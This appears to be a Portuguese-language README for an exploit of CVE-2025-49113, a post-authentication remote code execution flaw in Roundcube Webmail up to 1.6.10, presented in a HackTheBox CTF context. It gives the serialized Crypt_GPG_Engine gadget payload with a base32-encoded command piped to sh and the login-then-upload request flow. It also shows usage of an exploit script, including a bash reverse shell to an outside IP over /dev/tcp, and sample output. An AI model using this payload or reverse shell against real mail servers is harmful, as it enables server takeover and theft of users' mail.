
CVE-2025-49113 – Roundcube ≤1.6.10 RCE pós-autenticação via desserialização de objetos PHP (HackTheBox CTF)
| Campo | Detalhes |
|---|
| CVE | CVE-2025-49113 |
| Software | Roundcube Webmail |
| Versões Afetadas | ≤ 1.6.10 |
| Vulnerabilidade | Desserialização de objetos PHP → RCE |
| Autenticação | Obrigatória (qualquer usuário válido) |
| Impacto | Execução Remota de Código no servidor |
| Contexto | Descoberta durante o CTF da HackTheBox |
As versões do Roundcube Webmail até 1.6.10 (inclusive) são vulneráveis à Execução Remota de Código pós-autenticação. O manipulador de upload de arquivos desserializa um objeto PHP embutido no nome do arquivo de um anexo enviado. Ao criar um nome de arquivo malicioso contendo um objeto Crypt_GPG_Engine serializado, um atacante autenticado pode disparar a execução arbitrária de comandos no servidor subjacente quando o nome do arquivo é processado.
Desserialização de Objetos PHP (CWE-502). O endpoint de upload de arquivos do Roundcube passa o nome de arquivo fornecido pelo cliente por um caminho de desserialização sem validação. A classe Crypt_GPG_Engine está disponível na cadeia de dependências do Roundcube e atua como uma cadeia de gadgets utilizável.
A classe Crypt_GPG_Engine contém uma propriedade _gpgconf que é passada para uma chamada de nível de sistema durante a destruição/inicialização do objeto. Ao serializar uma instância com um valor _gpgconf manipulado, o atacante força a execução de comandos.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
O comando é codificado em Base32 para evitar problemas com caracteres especiais no campo de nome do arquivo.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
O comando é codificado em Base32 para evitar caracteres que quebrariam o campo de nome de arquivo multipart (aspas, barras, etc.). O comando final executado no servidor é:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| Flag | Descrição |
|---|---|
-u | Nome de usuário do Roundcube |
-p | Senha do Roundcube |
-i | URL alvo (ex.: http://mail.target.htb) |
-x | Comando a ser executado no servidor |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Nenhuma biblioteca externa é necessária — utiliza apenas a biblioteca padrão do Python (http.client, urllib, base64, etc.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.